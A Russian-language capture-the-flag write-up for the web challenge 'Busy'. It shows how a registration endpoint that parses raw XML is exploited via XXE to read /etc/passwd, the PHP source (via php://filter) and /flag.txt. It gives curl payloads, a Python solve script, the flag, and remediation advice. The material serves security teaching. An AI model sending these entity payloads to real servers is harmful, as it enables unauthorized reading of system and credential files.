Skip to main content

Busy: writeup

Ссылка на задание http://f8tasks.ru/challenges#Busy

Busy

CategoryWeb
DifficultyEasy–Medium
VulnerabilityXXE (XML External Entity) — local file read
Flagws{1t_w@s_s1mple_xx3}

Recon

Busy. wsr.gmax.pro:30209

Артефакты: живой HTTP-сервис.

curl -sS -i http://wsr.gmax.pro:30209/ | sed -n '1,120p'
HTTP/1.1 200 OK
...

function XMLFunction(){
        var xml = '' +
                '<?xml version="1.0" encoding="UTF-8"?>' +
                '<root>' +
                '<name>' + $('#name').val() + '</name>' +
                '<tel>' + $('#tel').val() + '</tel>' +
                '<email>' + $('#email').val() + '</email>' +
                '<password>' + $('#password').val() + '</password>' +
                '</root>';
        ...
        xmlhttp.open("POST","process.php",true);
        xmlhttp.send(xml);
}

Ключевые наблюдения:

  • Клиент собирает XML вручную и отправляет его как тело POST-запроса на process.php.
  • Поля в документе известны заранее: name, tel, email, password.
  • Форма выглядит как обычная регистрация, но тип данных — XML, а не application/x-www-form-urlencoded.

Проверяем, что endpoint парсит XML и что-то отражает в ответе:

curl -sS -i -X POST http://wsr.gmax.pro:30209/process.php \
    --data-binary '<?xml version="1.0"?><root><name>a</name><tel>b</tel><email>c</email><password>d</password></root>'
Sorry, c is already registered!

Результат: значение поля email попало в тело ответа. Вывод: XML парсится структурно, email — точка exfiltration.


XML External Entity (XXE)

XXE (XML External Entity) — уязвимость XML-парсера, при которой пользователь объявляет «сущность» (entity), ссылающуюся на внешний ресурс, а парсер послушно читает этот ресурс и подставляет его содержимое в документ.

Аналогия: ты пишешь письмо учителю и вставляешь в него фрагмент «скопируй сюда текст со страницы 5 секретного справочника». Если учитель доверяет такому указанию и сам открывает справочник — ты можешь попросить его прочитать что угодно.

Как объявляется сущность:

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><email>&xxe;</email></root>

Когда парсер видит &xxe; в тексте, он читает файл /etc/passwd и подставляет его содержимое вместо ссылки.

Ручная проверка на /etc/passwd — безопасный маркер чтения:

curl -sS -X POST http://wsr.gmax.pro:30209/process.php --data-binary @- <<'EOF'
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><name>a</name><tel>b</tel><email>&xxe;</email><password>d</password></root>
EOF
Sorry, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
 is already registered!

XXE подтверждена. Содержимое /etc/passwd оказалось в поле email и утекло в ответ.


Exploitation

ШагДействиеКоманда / результат
1Обнаружить XML в клиентском JSxmlhttp.send(xml) — сервер получает сырой XML
2Подтвердить отражение emailPOST с email=cSorry, c is already registered!
3Проверить XXE на /etc/passwdОтвет содержит файл пользователей — in-band read подтверждён
4Прочитать исходник для фиксации root causePHP-фильтр php://filter/convert.base64-encode/resource=/var/www/html/process.php → base64 → декодировать
5Прочитать /flag.txtSorry, ws{1t_w@s_s1mple_xx3} is already registered!

Root cause — строки в process.php:

libxml_disable_entity_loader(false);       // внешние сущности явно разрешены
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// LIBXML_DTDLOAD — загружать объявленные сущности из <!DOCTYPE>
// LIBXML_NOENT   — подставлять значения сущностей в итоговый текст
$info = simplexml_import_dom($dom);
echo "Sorry, $info->email is already registered!"; // email уходит в ответ

Пользователь прислал не просто данные, а инструкцию «прочитай этот файл». Сервер выполнил её, потому что никто не ограничил обработку внешних сущностей.

Правильный подход:

  • Не принимать XML, если достаточно JSON или form data.
  • Если XML необходим: не передавать флаги LIBXML_NOENT и LIBXML_DTDLOAD.
  • В PHP 8.0+ загрузку внешних сущностей следует явно отключить: libxml_disable_entity_loader(true).
  • Не отражать в ответе сырые значения пользовательских полей.

Automation

#!/usr/bin/env python3
import re
import sys
from urllib.request import Request, urlopen


PAYLOAD = """<?xml version=\"1.0\"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM \"file:///flag.txt\">]>
<root><name>a</name><tel>b</tel><email>&xxe;</email><password>d</password></root>
"""


def main() -> int:
    url = sys.argv[1] if len(sys.argv) > 1 else "http://wsr.gmax.pro:30209/process.php"
    request = Request(url, data=PAYLOAD.encode("utf-8"), method="POST")
    request.add_header("Content-Type", "application/xml")

    with urlopen(request, timeout=10) as response:
        body = response.read().decode("utf-8", errors="replace")

    match = re.search(r"ws\{[^}\n]+\}", body)  # ищем флаг формата ws{...}
    if not match:
        print("flag not found")
        print(body)
        return 1

    print(match.group(0))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
python3 solve.py

Ожидаемый вывод:

ws{1t_w@s_s1mple_xx3}

Key Takeaways

  1. XXE. XML-парсер с флагами LIBXML_NOENT | LIBXML_DTDLOAD читает произвольные файлы по file://-URI и подставляет их содержимое вместо объявленных сущностей. Проверка — добавить <!DOCTYPE> с file:///etc/passwd: если в ответе появился /etc/passwd, in-band file read подтверждён.

  2. Отражаемое поле — точка exfiltration. Флаг эксплуатации не просто в наличии XXE, а в том, что уязвимое поле (email) попадает в HTTP-ответ. Если бы сервер молчал — потребовался бы blind XXE через внешний DTD-хост.

  3. Ловушка: API-ключ в условии задачи. В условии был выдан API-ключ, но он не нужен для получения флага. Частая ошибка — тратить время на использование API-ключа до того, как прочитан клиентский JavaScript. Recon всегда начинается с HTML и JS, а не с перебора артефактов из легенды.